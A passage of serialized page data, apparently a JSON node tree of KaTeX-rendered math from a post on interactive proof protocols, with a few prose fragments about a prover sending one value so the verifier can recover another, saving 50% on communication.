03,111707],{"type":22,"tag":264,"props":111704,"children":111706},{"className":111705,"style":2169},[326],[],{"type":22,"tag":264,"props":111708,"children":111710},{"className":111709},[332,333,334,335],[111711],{"type":22,"tag":264,"props":111712,"children":111714},{"className":111713},[289,2178,335],[111715],{"type":27,"value":5050},{"type":22,"tag":264,"props":111717,"children":111719},{"className":111718},[396],[111720],{"type":27,"value":399},{"type":22,"tag":264,"props":111722,"children":111724},{"className":111723},[311],[111725],{"type":22,"tag":264,"props":111726,"children":111728},{"className":111727,"style":2721},[316],[111729],{"type":22,"tag":264,"props":111730,"children":111731},{},[],{"type":22,"tag":264,"props":111733,"children":111735},{"className":111734},[294],[111736],{"type":27,"value":2660},{"type":22,"tag":264,"props":111738,"children":111740},{"className":111739},[289],[111741],{"type":27,"value":602},{"type":22,"tag":264,"props":111743,"children":111745},{"className":111744},[415],[111746],{"type":27,"value":2806},{"type":22,"tag":264,"props":111748,"children":111750},{"className":111749,"style":421},[420],[],{"type":22,"tag":264,"props":111752,"children":111754},{"className":111753},[426],[111755],{"type":27,"value":429},{"type":22,"tag":264,"props":111757,"children":111759},{"className":111758,"style":421},[420],[],{"type":22,"tag":264,"props":111761,"children":111763},{"className":111762},[278],[111764,111769],{"type":22,"tag":264,"props":111765,"children":111768},{"className":111766,"style":111767},[283],"height:0.8917em;vertical-align:-0.2083em;",[],{"type":22,"tag":264,"props":111770,"children":111772},{"className":111771},[289],[111773,111778],{"type":22,"tag":264,"props":111774,"children":111776},{"className":111775,"style":94603},[289,2178],[111777],{"type":27,"value":94606},{"type":22,"tag":264,"props":111779,"children":111781},{"className":111780},[2147],[111782],{"type":22,"tag":264,"props":111783,"children":111785},{"className":111784},[305,306],[111786,111830],{"type":22,"tag":264,"props":111787,"children":111789},{"className":111788},[311],[111790,111825],{"type":22,"tag":264,"props":111791,"children":111793},{"className":111792,"style":94898},[316],[111794],{"type":22,"tag":264,"props":111795,"children":111797},{"style":111796},"top:-2.55em;margin-left:-0.0813em;margin-right:0.05em;",[111798,111802],{"type":22,"tag":264,"props":111799,"children":111801},{"className":111800,"style":2169},[326],[],{"type":22,"tag":264,"props":111803,"children":111805},{"className":111804},[332,333,334,335],[111806],{"type":22,"tag":264,"props":111807,"children":111809},{"className":111808},[289,335],[111810,111815,111820],{"type":22,"tag":264,"props":111811,"children":111813},{"className":111812},[289,2178,335],[111814],{"type":27,"value":5050},{"type":22,"tag":264,"props":111816,"children":111818},{"className":111817},[670,335],[111819],{"type":27,"value":5372},{"type":22,"tag":264,"props":111821,"children":111823},{"className":111822},[289,335],[111824],{"type":27,"value":602},{"type":22,"tag":264,"props":111826,"children":111828},{"className":111827},[396],[111829],{"type":27,"value":399},{"type":22,"tag":264,"props":111831,"children":111833},{"className":111832},[311],[111834],{"type":22,"tag":264,"props":111835,"children":111838},{"className":111836,"style":111837},[316],"height:0.2083em;",[111839],{"type":22,"tag":264,"props":111840,"children":111841},{},[],{"type":27,"value":111843}," (the previous claim), we have:",{"type":22,"tag":23,"props":111845,"children":111846},{},[111847],{"type":22,"tag":257,"props":111848,"children":111850},{"className":111849},[260,261],[111851],{"type":22,"tag":264,"props":111852,"children":111854},{"className":111853},[267],[111855],{"type":22,"tag":264,"props":111856,"children":111858},{"className":111857,"ariaHidden":273},[272],[111859,111885,111916,111947,112048,112074,112166],{"type":22,"tag":264,"props":111860,"children":111862},{"className":111861},[278],[111863,111867,111872,111876,111881],{"type":22,"tag":264,"props":111864,"children":111866},{"className":111865,"style":111522},[283],[],{"type":22,"tag":264,"props":111868,"children":111870},{"className":111869},[289,2178],[111871],{"type":27,"value":69},{"type":22,"tag":264,"props":111873,"children":111875},{"className":111874,"style":665},[420],[],{"type":22,"tag":264,"props":111877,"children":111879},{"className":111878},[670],[111880],{"type":27,"value":673},{"type":22,"tag":264,"props":111882,"children":111884},{"className":111883,"style":665},[420],[],{"type":22,"tag":264,"props":111886,"children":111888},{"className":111887},[278],[111889,111893,111898,111903,111907,111912],{"type":22,"tag":264,"props":111890,"children":111892},{"className":111891,"style":5409},[283],[],{"type":22,"tag":264,"props":111894,"children":111896},{"className":111895},[294],[111897],{"type":27,"value":2660},{"type":22,"tag":264,"props":111899,"children":111901},{"className":111900},[289,2178],[111902],{"type":27,"value":69},{"type":22,"tag":264,"props":111904,"children":111906},{"className":111905,"style":665},[420],[],{"type":22,"tag":264,"props":111908,"children":111910},{"className":111909},[670],[111911],{"type":27,"value":673},{"type":22,"tag":264,"props":111913,"children":111915},{"className":111914,"style":665},[420],[],{"type":22,"tag":264,"props":111917,"children":111919},{"className":111918},[278],[111920,111924,111929,111934,111938,111943],{"type":22,"tag":264,"props":111921,"children":111923},{"className":111922,"style":5409},[283],[],{"type":22,"tag":264,"props":111925,"children":111927},{"className":111926},[289,2178],[111928],{"type":27,"value":2181},{"type":22,"tag":264,"props":111930,"children":111932},{"className":111931},[415],[111933],{"type":27,"value":2806},{"type":22,"tag":264,"props":111935,"children":111937},{"className":111936,"style":421},[420],[],{"type":22,"tag":264,"props":111939,"children":111941},{"className":111940},[426],[111942],{"type":27,"value":429},{"type":22,"tag":264,"props":111944,"children":111946},{"className":111945,"style":421},[420],[],{"type":22,"tag":264,"props":111948,"children":111950},{"className":111949},[278],[111951,111955,112026,112030,112034,112040,112044],{"type":22,"tag":264,"props":111952,"children":111954},{"className":111953,"style":111767},[283],[],{"type":22,"tag":264,"props":111956,"children":111958},{"className":111957},[289],[111959,111964],{"type":22,"tag":264,"props":111960,"children":111962},{"className":111961,"style":94603},[289,2178],[111963],{"type":27,"value":94606},{"type":22,"tag":264,"props":111965,"children":111967},{"className":111966},[2147],[111968],{"type":22,"tag":264,"props":111969,"children":111971},{"className":111970},[305,306],[111972,112015],{"type":22,"tag":264,"props":111973,"children":111975},{"className":111974},[311],[111976,112010],{"type":22,"tag":264,"props":111977,"children":111979},{"className":111978,"style":94898},[316],[111980],{"type":22,"tag":264,"props":111981,"children":111982},{"style":111796},[111983,111987],{"type":22,"tag":264,"props":111984,"children":111986},{"className":111985,"style":2169},[326],[],{"type":22,"tag":264,"props":111988,"children":111990},{"className":111989},[332,333,334,335],[111991],{"type":22,"tag":264,"props":111992,"children":111994},{"className":111993},[289,335],[111995,112000,112005],{"type":22,"tag":264,"props":111996,"children":111998},{"className":111997},[289,2178,335],[111999],{"type":27,"value":5050},{"type":22,"tag":264,"props":112001,"children":112003},{"className":112002},[670,335],[112004],{"type":27,"value":5372},{"type":22,"tag":264,"props":112006,"children":112008},{"className":112007},[289,335],[112009],{"type":27,"value":602},{"type":22,"tag":264,"props":112011,"children":112013},{"className":112012},[396],[112014],{"type":27,"value":399},{"type":22,"tag":264,"props":112016,"children":112018},{"className":112017},[311],[112019],{"type":22,"tag":264,"props":112020,"children":112022},{"className":112021,"style":111837},[316],[112023],{"type":22,"tag":264,"props":112024,"children":112025},{},[],{"type":22,"tag":264,"props":112027,"children":112029},{"className":112028,"style":421},[420],[],{"type":22,"tag":264,"props":112031,"children":112033},{"className":112032,"style":421},[420],[],{"type":22,"tag":264,"props":112035,"children":112037},{"className":112036},[426],[112038],{"type":27,"value":112039},"⟹",{"type":22,"tag":264,"props":112041,"children":112043},{"className":112042,"style":421},[420],[],{"type":22,"tag":264,"props":112045,"children":112047},{"className":112046,"style":421},[420],[],{"type":22,"tag":264,"props":112049,"children":112051},{"className":112050},[278],[112052,112056,112061,112065,112070],{"type":22,"tag":264,"props":112053,"children":112055},{"className":112054,"style":94285},[283],[],{"type":22,"tag":264,"props":112057,"children":112059},{"className":112058},[289,2178],[112060],{"type":27,"value":2181},{"type":22,"tag":264,"props":112062,"children":112064},{"className":112063,"style":421},[420],[],{"type":22,"tag":264,"props":112066,"children":112068},{"className":112067},[426],[112069],{"type":27,"value":429},{"type":22,"tag":264,"props":112071,"children":112073},{"className":112072,"style":421},[420],[],{"type":22,"tag":264,"props":112075,"children":112077},{"className":112076},[278],[112078,112082,112153,112157,112162],{"type":22,"tag":264,"props":112079,"children":112081},{"className":112080,"style":111767},[283],[],{"type":22,"tag":264,"props":112083,"children":112085},{"className":112084},[289],[112086,112091],{"type":22,"tag":264,"props":112087,"children":112089},{"className":112088,"style":94603},[289,2178],[112090],{"type":27,"value":94606},{"type":22,"tag":264,"props":112092,"children":112094},{"className":112093},[2147],[112095],{"type":22,"tag":264,"props":112096,"children":112098},{"className":112097},[305,306],[112099,112142],{"type":22,"tag":264,"props":112100,"children":112102},{"className":112101},[311],[112103,112137],{"type":22,"tag":264,"props":112104,"children":112106},{"className":112105,"style":94898},[316],[112107],{"type":22,"tag":264,"props":112108,"children":112109},{"style":111796},[112110,112114],{"type":22,"tag":264,"props":112111,"children":112113},{"className":112112,"style":2169},[326],[],{"type":22,"tag":264,"props":112115,"children":112117},{"className":112116},[332,333,334,335],[112118],{"type":22,"tag":264,"props":112119,"children":112121},{"className":112120},[289,335],[112122,112127,112132],{"type":22,"tag":264,"props":112123,"children":112125},{"className":112124},[289,2178,335],[112126],{"type":27,"value":5050},{"type":22,"tag":264,"props":112128,"children":112130},{"className":112129},[670,335],[112131],{"type":27,"value":5372},{"type":22,"tag":264,"props":112133,"children":112135},{"className":112134},[289,335],[112136],{"type":27,"value":602},{"type":22,"tag":264,"props":112138,"children":112140},{"className":112139},[396],[112141],{"type":27,"value":399},{"type":22,"tag":264,"props":112143,"children":112145},{"className":112144},[311],[112146],{"type":22,"tag":264,"props":112147,"children":112149},{"className":112148,"style":111837},[316],[112150],{"type":22,"tag":264,"props":112151,"children":112152},{},[],{"type":22,"tag":264,"props":112154,"children":112156},{"className":112155,"style":665},[420],[],{"type":22,"tag":264,"props":112158,"children":112160},{"className":112159},[670],[112161],{"type":27,"value":5372},{"type":22,"tag":264,"props":112163,"children":112165},{"className":112164,"style":665},[420],[],{"type":22,"tag":264,"props":112167,"children":112169},{"className":112168},[278],[112170,112174,112179],{"type":22,"tag":264,"props":112171,"children":112173},{"className":112172,"style":850},[283],[],{"type":22,"tag":264,"props":112175,"children":112177},{"className":112176},[289],[112178],{"type":27,"value":3568},{"type":22,"tag":264,"props":112180,"children":112182},{"className":112181},[289,2178],[112183],{"type":27,"value":69},{"type":22,"tag":23,"props":112185,"children":112186},{},[112187,112189,112308,112310,112335],{"type":27,"value":112188},"So the prover only sends ",{"type":22,"tag":257,"props":112190,"children":112192},{"className":112191},[260,261],[112193],{"type":22,"tag":264,"props":112194,"children":112196},{"className":112195},[267],[112197],{"type":22,"tag":264,"props":112198,"children":112200},{"className":112199,"ariaHidden":273},[272],[112201,112228],{"type":22,"tag":264,"props":112202,"children":112204},{"className":112203},[278],[112205,112210,112215,112219,112224],{"type":22,"tag":264,"props":112206,"children":112209},{"className":112207,"style":112208},[283],"height:0.4306em;",[],{"type":22,"tag":264,"props":112211,"children":112213},{"className":112212},[289,2178],[112214],{"type":27,"value":69},{"type":22,"tag":264,"props":112216,"children":112218},{"className":112217,"style":421},[420],[],{"type":22,"tag":264,"props":112220,"children":112222},{"className":112221},[426],[112223],{"type":27,"value":429},{"type":22,"tag":264,"props":112225,"children":112227},{"className":112226,"style":421},[420],[],{"type":22,"tag":264,"props":112229,"children":112231},{"className":112230},[278],[112232,112236,112293,112298,112303],{"type":22,"tag":264,"props":112233,"children":112235},{"className":112234,"style":5409},[283],[],{"type":22,"tag":264,"props":112237,"children":112239},{"className":112238},[289],[112240,112245],{"type":22,"tag":264,"props":112241,"children":112243},{"className":112242,"style":94855},[289,2178],[112244],{"type":27,"value":110619},{"type":22,"tag":264,"props":112246,"children":112248},{"className":112247},[2147],[112249],{"type":22,"tag":264,"props":112250,"children":112252},{"className":112251},[305,306],[112253,112282],{"type":22,"tag":264,"props":112254,"children":112256},{"className":112255},[311],[112257,112277],{"type":22,"tag":264,"props":112258,"children":112260},{"className":112259,"style":94898},[316],[112261],{"type":22,"tag":264,"props":112262,"children":112263},{"style":94902},[112264,112268],{"type":22,"tag":264,"props":112265,"children":112267},{"className":112266,"style":2169},[326],[],{"type":22,"tag":264,"props":112269,"children":112271},{"className":112270},[332,333,334,335],[112272],{"type":22,"tag":264,"props":112273,"children":112275},{"className":112274},[289,2178,335],[112276],{"type":27,"value":5050},{"type":22,"tag":264,"props":112278,"children":112280},{"className":112279},[396],[112281],{"type":27,"value":399},{"type":22,"tag":264,"props":112283,"children":112285},{"className":112284},[311],[112286],{"type":22,"tag":264,"props":112287,"children":112289},{"className":112288,"style":2721},[316],[112290],{"type":22,"tag":264,"props":112291,"children":112292},{},[],{"type":22,"tag":264,"props":112294,"children":112296},{"className":112295},[294],[112297],{"type":27,"value":2660},{"type":22,"tag":264,"props":112299,"children":112301},{"className":112300},[289],[112302],{"type":27,"value":5334},{"type":22,"tag":264,"props":112304,"children":112306},{"className":112305},[415],[112307],{"type":27,"value":2806},{"type":27,"value":112309},", and the verifier recovers ",{"type":22,"tag":257,"props":112311,"children":112313},{"className":112312},[260,261],[112314],{"type":22,"tag":264,"props":112315,"children":112317},{"className":112316},[267],[112318],{"type":22,"tag":264,"props":112319,"children":112321},{"className":112320,"ariaHidden":273},[272],[112322],{"type":22,"tag":264,"props":112323,"children":112325},{"className":112324},[278],[112326,112330],{"type":22,"tag":264,"props":112327,"children":112329},{"className":112328,"style":94285},[283],[],{"type":22,"tag":264,"props":112331,"children":112333},{"className":112332},[289,2178],[112334],{"type":27,"value":2181},{"type":27,"value":112336},". This saves 50% on communication costs.",{"type":22,"tag":23,"props":112338,"children":112339},{},[112340],{"type":27,"value":112341},"The next claim in the chain is",{"type":22,"tag":23,"props":112343,"children":112344},{},[112345],{"type":22,"tag":257,"props":112346,"children":112348},{"className":112347},[260,261],[112349],{"type":22,"tag":264,"props":112350,"children":112352},{"className":112351},[267],[112353],{"type":22,"tag":264,"props":112354,"children":112356},{"className":112355,"ariaHidden":273},[272],[112357,112436,112581,112607,112634,112712,112738,112835,112871,112949,112985,113073,113165],{"type":22,"tag":264,"props":112358,"children":112360},{"className":112359},[278],[112361,112366,112423,112427,112432],{"type":22,"tag":264,"props":112362,"children":112365},{"className":112363,"style":112364},[283],"height:0.8333em;vertical-align:-0.15em;",[],{"type":22,"tag":264,"props":112367,"children":112369},{"className":112368},[289],[112370,112375],{"type":22,"tag":264,"props":112371,"children":112373},{"className":112372,"style":94603},[289,2178],[112374],{"type":27,"value":94606},{"type":22,"tag":264,"props":112376,"children":112378},{"className":112377},[2147],[112379],{"type":22,"tag":264,"props":112380,"children":112382},{"className":112381},[305,306],[112383,112412],{"type":22,"tag":264,"props":112384,"children":112386},{"className":112385},[311],[112387,112407],{"type":22,"tag":264,"props":112388,"children":112390},{"className":112389,"style":94898},[316],[112391],{"type":22,"tag":264,"props":112392,"children":112393},{"style":111796},[112394,112398],{"type":22,"tag":264,"props":112395,"children":112397},{"className":112396,"style":2169},[326],[],{"type":22,"tag":264,"props":112399,"children":112401},{"className":112400},[332,333,334,335],[112402],{"type":22,"tag":264,"props":112403,"children":112405},{"className":112404},[289,2178,335],[112406],{"type":27,"value":5050},{"type":22,"tag":264,"props":112408,"children":112410},{"className":112409},[396],[112411],{"type":27,"value":399},{"type":22,"tag":264,"props":112413,"children":112415},{"className":112414},[311],[112416],{"type":22,"tag":264,"props":112417,"children":112419},{"className":112418,"style":2721},[316],[112420],{"type":22,"tag":264,"props":112421,"children":112422},{},[],{"type":22,"tag":264,"props":112424,"children":112426},{"className":112425,"style":421},[420],[],{"type":22,"tag":264,"props":112428,"children":112430},{"className":112429},[426],[112431],{"type":27,"value":429},{"type":22,"tag":264,"props":112433,"children":112435},{"className":112434,"style":421},[420],[],{"type":22,"tag":264,"props":112437,"children":112439},{"className":112438},[278],[112440,112444,112501,112506,112563,112568,112572,112577],{"type":22,"tag":264,"props":112441,"children":112443},{"className":112442,"style":5409},[283],[],{"type":22,"tag":264,"props":112445,"children":112447},{"className":112446},[289],[112448,112453],{"type":22,"tag":264,"props":112449,"children":112451},{"className":112450,"style":94855},[289,2178],[112452],{"type":27,"value":110619},{"type":22,"tag":264,"props":112454,"children":112456},{"className":112455},[2147],[112457],{"type":22,"tag":264,"props":112458,"children":112460},{"className":112459},[305,306],[112461,112490],{"type":22,"tag":264,"props":112462,"children":112464},{"className":112463},[311],[112465,112485],{"type":22,"tag":264,"props":112466,"children":112468},{"className":112467,"style":94898},[316],[112469],{"type":22,"tag":264,"props":112470,"children":112471},{"style":94902},[112472,112476],{"type":22,"tag":264,"props":112473,"children":112475},{"className":112474,"style":2169},[326],[],{"type":22,"tag":264,"props":112477,"children":112479},{"className":112478},[332,333,334,335],[112480],{"type":22,"tag":264,"props":112481,"children":112483},{"className":112482},[289,2178,335],[112484],{"type":27,"value":5050},{"type":22,"tag":264,"props":112486,"children":112488},{"className":112487},[396],[112489],{"type":27,"value":399},{"type":22,"tag":264,"props":112491,"children":112493},{"className":112492},[311],[112494],{"type":22,"tag":264,"props":112495,"children":112497},{"className":112496,"style":2721},[316],[112498],{"type":22,"tag":264,"props":112499,"children":112500},{},[],{"type":22,"tag":264,"props":112502,"children":112504},{"className":112503},[294],[112505],{"type":27,"value":2660},{"type":22,"tag":264,"props":112507,"children":112509},{"className":112508},[289],[112510,112515],{"type":22,"tag":264,"props":112511,"children":112513},{"className":112512,"style":94370},[289,2178],[112514],{"type":27,"value":95188},{"type":22,"tag":264,"props":112516,"children":112518},{"className":112517},[2147],[112519],{"type":22,"tag":264,"props":112520,"children":112522},{"className":112521},[305,306],[112523,112552],{"type":22,"tag":264,"props":112524,"children":112526},{"className":112525},[311],[112527,112547],{"type":22,"tag":264,"props":112528,"children":112530},{"className":112529,"style":94898},[316],[112531],{"type":22,"tag":264,"props":112532,"children":112533},{"style":111366},[112534,112538],{"type":22,"tag":264,"props":112535,"children":112537},{"className":112536,"style":2169},[326],[],{"type":22,"tag":264,"props":112539,"children":112541},{"className":112540},[332,333,334,335],[112542],{"type":22,"tag":264,"props":112543,"children":112545},{"className":112544},[289,2178,335],[112546],{"type":27,"value":5050},{"type":22,"tag":264,"props":112548,"children":112550},{"className":112549},[396],[112551],{"type":27,"value":399},{"type":22,"tag":264,"props":112553,"children":112555},{"className":112554},[311],[112556],{"type":22,"tag":264,"props":112557,"children":112559},{"className":112558,"style":2721},[316],[112560],{"type":22,"tag":264,"props":112561,"children":112562},{},[],{"type":22,"tag":264,"props":112564,"children":112566},{"className":112565},[415],[112567],{"type":27,"value":2806},{"type":22,"tag":264,"props":112569,"children":112571},{"className":112570,"style":421},[420],[],{"type":22,"tag":264,"props":112573,"children":112575},{"className":112574},[426],[112576],{"type":27,"value":429},{"type":22,"tag":264,"props":112578,"children":112580},{"className":112579,"style":421},[420],[],{"type":22,"tag":264,"props":112582,"children":112584},{"className":112583},[278],[112585,112589,112594,112598,112603],{"type":22,"tag":264,"props":112586,"children":112588},{"className":112587,"style":111522},[283],[],{"type":22,"tag":264,"props":112590,"children":112592},{"className":112591},[289,2178],[112593],{"type":27,"value":69},{"type":22,"tag":264,"props":112595,"children":112597},{"className":112596,"style":665},[420],[],{"type":22,"tag":264,"props":112599,"children":112601},{"className":112600},[670],[112602],{"type":27,"value":673},{"type":22,"tag":264,"props":112604,"children":112606},{"className":112605,"style":665},[420],[],{"type":22,"tag":264,"props":112608,"children":112610},{"className":112609},[278],[112611,112615,112620,112624,112630],{"type":22,"tag":264,"props":112612,"children":112614},{"className":112613,"style":94285},[283],[],{"type":22,"tag":264,"props":112616,"children":112618},{"className":112617},[289,2178],[112619],{"type":27,"value":2181},{"type":22,"tag":264,"props":112621,"children":112623},{"className":112622,"style":665},[420],[],{"type":22,"tag":264,"props":112625,"children":112627},{"className":112626},[670],[112628],{"type":27,"value":112629},"⋅",{"type":22,"tag":264,"props":112631,"children":112633},{"className":112632,"style":665},[420],[],{"type":22,"tag":264,"props":112635,"children":112637},{"className":112636},[278],[112638,112642,112699,112703,112708],{"type":22,"tag":264,"props":112639,"children":112641},{"className":112640,"style":111337},[283],[],{"type":22,"tag":264,"props":112643,"children":112645},{"className":112644},[289],[112646,112651],{"type":22,"tag":264,"props":112647,"children":112649},{"className":112648,"style":94370},[289,2178],[112650],{"type":27,"value":95188},{"type":22,"tag":264,"props":112652,"children":112654},{"className":112653},[2147],[112655],{"type":22,"tag":264,"props":112656,"children":112658},{"className":112657},[305,306],[112659,112688],{"type":22,"tag":264,"props":112660,"children":112662},{"className":112661},[311],[112663,112683],{"type":22,"tag":264,"props":112664,"children":112666},{"className":112665,"style":94898},[316],[112667],{"type":22,"tag":264,"props":112668,"children":112669},{"style":111366},[112670,112674],{"type":22,"tag":264,"props":112671,"children":112673},{"className":112672,"style":2169},[326],[],{"type":22,"tag":264,"props":112675,"children":112677},{"className":112676},[332,333,334,335],[112678],{"type":22,"tag":264,"props":112679,"children":112681},{"className":112680},[289,2178,335],[112682],{"type":27,"value":5050},{"type":22,"tag":264,"props":112684,"children":112686},{"className":112685},[396],[112687],{"type":27,"value":399},{"type":22,"tag":264,"props":112689,"children":112691},{"className":112690},[311],[112692],{"type":22,"tag":264,"props":112693,"children":112695},{"className":112694,"style":2721},[316],[112696],{"type":22,"tag":264,"props":112697,"children":112698},{},[],{"type":22,"tag":264,"props":112700,"children":112702},{"className":112701,"style":421},[420],[],{"type":22,"tag":264,"props":112704,"children":112706},{"className":112705},[426],[112707],{"type":27,"value":429},{"type":22,"tag":264,"props":112709,"children":112711},{"className":112710,"style":421},[420],[],{"type":22,"tag":264,"props":112713,"children":112715},{"className":112714},[278],[112716,112720,112725,112729,112734],{"type":22,"tag":264,"props":112717,"children":112719},{"className":112718,"style":111522},[283],[],{"type":22,"tag":264,"props":112721,"children":112723},{"className":112722},[289,2178],[112724],{"type":27,"value":69},{"type":22,"tag":264,"props":112726,"children":112728},{"className":112727,"style":665},[420],[],{"type":22,"tag":264,"props":112730,"children":112732},{"className":112731},[670],[112733],{"type":27,"value":673},{"type":22,"tag":264,"props":112735,"children":112737},{"className":112736,"style":665},[420],[],{"type":22,"tag":264,"props":112739,"children":112741},{"className":112740},[278],[112742,112746,112751,112822,112826,112831],{"type":22,"tag":264,"props":112743,"children":112745},{"className":112744,"style":5409},[283],[],{"type":22,"tag":264,"props":112747,"children":112749},{"className":112748},[294],[112750],{"type":27,"value":2660},{"type":22,"tag":264,"props":112752,"children":112754},{"className":112753},[289],[112755,112760],{"type":22,"tag":264,"props":112756,"children":112758},{"className":112757,"style":94603},[289,2178],[112759],{"type":27,"value":94606},{"type":22,"tag":264,"props":112761,"children":112763},{"className":112762},[2147],[112764],{"type":22,"tag":264,"props":112765,"children":112767},{"className":112766},[305,306],[112768,112811],{"type":22,"tag":264,"props":112769,"children":112771},{"className":112770},[311],[112772,112806],{"type":22,"tag":264,"props":112773,"children":112775},{"className":112774,"style":94898},[316],[112776],{"type":22,"tag":264,"props":112777,"children":112778},{"style":111796},[112779,112783],{"type":22,"tag":264,"props":112780,"children":112782},{"className":112781,"style":2169},[326],[],{"type":22,"tag":264,"props":112784,"children":112786},{"className":112785},[332,333,334,335],[112787],{"type":22,"tag":264,"props":112788,"children":112790},{"className":112789},[289,335],[112791,112796,112801],{"type":22,"tag":264,"props":112792,"children":112794},{"className":112793},[289,2178,335],[112795],{"type":27,"value":5050},{"type":22,"tag":264,"props":112797,"children":112799},{"className":112798},[670,335],[112800],{"type":27,"value":5372},{"type":22,"tag":264,"props":112802,"children":112804},{"className":112803},[289,335],[112805],{"type":27,"value":602},{"type":22,"tag":264,"props":112807,"children":112809},{"className":112808},[396],[112810],{"type":27,"value":399},{"type":22,"tag":264,"props":112812,"children":112814},{"className":112813},[311],[112815],{"type":22,"tag":264,"props":112816,"children":112818},{"className":112817,"style":111837},[316],[112819],{"type":22,"tag":264,"props":112820,"children":112821},{},[],{"type":22,"tag":264,"props":112823,"children":112825},{"className":112824,"style":665},[420],[],{"type":22,"tag":264,"props":112827,"children":112829},{"className":112828},[670],[112830],{"type":27,"value":5372},{"type":22,"tag":264,"props":112832,"children":112834},{"className":112833,"style":665},[420],[],{"type":22,"tag":264,"props":112836,"children":112838},{"className":112837},[278],[112839,112843,112848,112853,112858,112862,112867],{"type":22,"tag":264,"props":112840,"children":112842},{"className":112841,"style":5409},[283],[],{"type":22,"tag":264,"props":112844,"children":112846},{"className":112845},[289],[112847],{"type":27,"value":3568},{"type":22,"tag":264,"props":112849,"children":112851},{"className":112850},[289,2178],[112852],{"type":27,"value":69},{"type":22,"tag":264,"props":112854,"children":112856},{"className":112855},[415],[112857],{"type":27,"value":2806},{"type":22,"tag":264,"props":112859,"children":112861},{"className":112860,"style":665},[420],[],{"type":22,"tag":264,"props":112863,"children":112865},{"className":112864},[670],[112866],{"type":27,"value":112629},{"type":22,"tag":264,"props":112868,"children":112870},{"className":112869,"style":665},[420],[],{"type":22,"tag":264,"props":112872,"children":112874},{"className":112873},[278],[112875,112879,112936,112940,112945],{"type":22,"tag":264,"props":112876,"children":112878},{"className":112877,"style":111337},[283],[],{"type":22,"tag":264,"props":112880,"children":112882},{"className":112881},[289],[112883,112888],{"type":22,"tag":264,"props":112884,"children":112886},{"className":112885,"style":94370},[289,2178],[112887],{"type":27,"value":95188},{"type":22,"tag":264,"props":112889,"children":112891},{"className":112890},[2147],[112892],{"type":22,"tag":264,"props":112893,"children":112895},{"className":112894},[305,306],[112896,112925],{"type":22,"tag":264,"props":112897,"children":112899},{"className":112898},[311],[112900,112920],{"type":22,"tag":264,"props":112901,"children":112903},{"className":112902,"style":94898},[316],[112904],{"type":22,"tag":264,"props":112905,"children":112906},{"style":111366},[112907,112911],{"type":22,"tag":264,"props":112908,"children":112910},{"className":112909,"style":2169},[326],[],{"type":22,"tag":264,"props":112912,"children":112914},{"className":112913},[332,333,334,335],[112915],{"type":22,"tag":264,"props":112916,"children":112918},{"className":112917},[289,2178,335],[112919],{"type":27,"value":5050},{"type":22,"tag":264,"props":112921,"children":112923},{"className":112922},[396],[112924],{"type":27,"value":399},{"type":22,"tag":264,"props":112926,"children":112928},{"className":112927},[311],[112929],{"type":22,"tag":264,"props":112930,"children":112932},{"className":112931,"style":2721},[316],[112933],{"type":22,"tag":264,"props":112934,"children":112935},{},[],{"type":22,"tag":264,"props":112937,"children":112939},{"className":112938,"style":421},[420],[],{"type":22,"tag":264,"props":112941,"children":112943},{"className":112942},[426],[112944],{"type":27,"value":429},{"type":22,"tag":264,"props":112946,"children":112948},{"className":112947,"style":421},[420],[],{"type":22,"tag":264,"props":112950,"children":112952},{"className":112951},[278],[112953,112957,112962,112967,112972,112976,112981],{"type":22,"tag":264,"props":112954,"children":112956},{"className":112955,"style":5409},[283],[],{"type":22,"tag":264,"props":112958,"children":112960},{"className":112959},[289,2178],[112961],{"type":27,"value":69},{"type":22,"tag":264,"props":112963,"children":112965},{"className":112964},[294],[112966],{"type":27,"value":2660},{"type":22,"tag":264,"props":112968,"children":112970},{"className":112969},[289],[112971],{"type":27,"value":602},{"type":22,"tag":264,"props":112973,"children":112975},{"className":112974,"style":665},[420],[],{"type":22,"tag":264,"props":112977,"children":112979},{"className":112978},[670],[112980],{"type":27,"value":5372},{"type":22,"tag":264,"props":112982,"children":112984},{"className":112983,"style":665},[420],[],{"type":22,"tag":264,"props":112986,"children":112988},{"className":112987},[278],[112989,112993,112998,113055,113060,113064,113069],{"type":22,"tag":264,"props":112990,"children":112992},{"className":112991,"style":5409},[283],[],{"type":22,"tag":264,"props":112994,"children":112996},{"className":112995},[289],[112997],{"type":27,"value":3568},{"type":22,"tag":264,"props":112999,"children":113001},{"className":113000},[289],[113002,113007],{"type":22,"tag":264,"props":113003,"children":113005},{"className":113004,"style":94370},[289,2178],[113006],{"type":27,"value":95188},{"type":22,"tag":264,"props":113008,"children":113010},{"className":113009},[2147],[113011],{"type":22,"tag":264,"props":113012,"children":113014},{"className":113013},[305,306],[113015,113044],{"type":22,"tag":264,"props":113016,"children":113018},{"className":113017},[311],[113019,113039],{"type":22,"tag":264,"props":113020,"children":113022},{"className":113021,"style":94898},[316],[113023],{"type":22,"tag":264,"props":113024,"children":113025},{"style":111366},[113026,113030],{"type":22,"tag":264,"props":113027,"children":113029},{"className":113028,"style":2169},[326],[],{"type":22,"tag":264,"props":113031,"children":113033},{"className":113032},[332,333,334,335],[113034],{"type":22,"tag":264,"props":113035,"children":113037},{"className":113036},[289,2178,335],[113038],{"type":27,"value":5050},{"type":22,"tag":264,"props":113040,"children":113042},{"className":113041},[396],[113043],{"type":27,"value":399},{"type":22,"tag":264,"props":113045,"children":113047},{"className":113046},[311],[113048],{"type":22,"tag":264,"props":113049,"children":113051},{"className":113050,"style":2721},[316],[113052],{"type":22,"tag":264,"props":113053,"children":113054},{},[],{"type":22,"tag":264,"props":113056,"children":113058},{"className":113057},[415],[113059],{"type":27,"value":2806},{"type":22,"tag":264,"props":113061,"children":113063},{"className":113062,"style":665},[420],[],{"type":22,"tag":264,"props":113065,"children":113067},{"className":113066},[670],[113068],{"type":27,"value":673},{"type":22,"tag":264,"props":113070,"children":113072},{"className":113071,"style":665},[420],[],{"type":22,"tag":264,"props":113074,"children":113076},{"className":113075},[278],[113077,113081,113152,113156,113161],{"type":22,"tag":264,"props":113078,"children":113080},{"className":113079,"style":111767},[283],[],{"type":22,"tag":264,"props":113082,"children":113084},{"className":113083},[289],[113085,113090],{"type":22,"tag":264,"props":113086,"children":113088},{"className":113087,"style":94603},[289,2178],[113089],{"type":27,"value":94606},{"type":22,"tag":264,"props":113091,"children":113093},{"className":113092},[2147],[113094],{"type":22,"tag":264,"props":113095,"children":113097},{"className":113096},[305,306],[113098,113141],{"type":22,"tag":264,"props":113099,"children":113101},{"className":113100},[311],[113102,113136],{"type":22,"tag":264,"props":113103,"children":113105},{"className":113104,"style":94898},[316],[113106],{"type":22,"tag":264,"props":113107,"children":11310